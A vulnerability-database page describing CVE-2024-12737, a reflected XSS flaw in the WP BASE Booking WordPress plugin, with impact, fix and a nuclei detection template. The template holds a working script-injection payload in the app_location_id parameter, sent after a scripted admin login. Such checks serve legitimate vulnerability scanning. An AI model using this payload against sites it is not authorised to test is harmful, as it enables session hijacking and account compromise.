HexBrain

Browse / CVEs / CVE-2024-12737

CVE-2024-12737· CWE-79

WP BASE Booking - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

WP BASE Booking of Appointments, Services and Events WordPress plugin < 5.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load a maliciously crafted URL.

Impact

Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.

Fix

Update to version 5.0.0 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=appointments&app_location_id=1"></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`","wp-base-booking-of-appointments-services-and-events")

Run it with nuclei: nuclei -id CVE-2024-12737 -u <target>

The full check
id: CVE-2024-12737

info:
  name: WP BASE Booking - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP BASE Booking of Appointments, Services and Events WordPress plugin < 5.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load a maliciously crafted URL.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to version 5.0.0 or later.
  reference:
    - https://wpscan.com/vulnerability/997eb9f6-80e1-4bc5-be72-bd6a6f52379c/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12737
    cwe-id: CWE-79
    epss-score: 0.00601
    epss-percentile: 0.491
    cpe: cpe:2.3:a:wp-base:wp_base_booking_of_appointments\,_services_and_events:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "wp-base-booking-of-appointments-services-and-events"
  tags: cve,cve2024,wp-base,wordpress,wpscan,wp-plugin,wp,authenticated,xss,wp-base-booking-of-appointments-services-and-events

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=appointments&app_location_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`","wp-base-booking-of-appointments-services-and-events")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from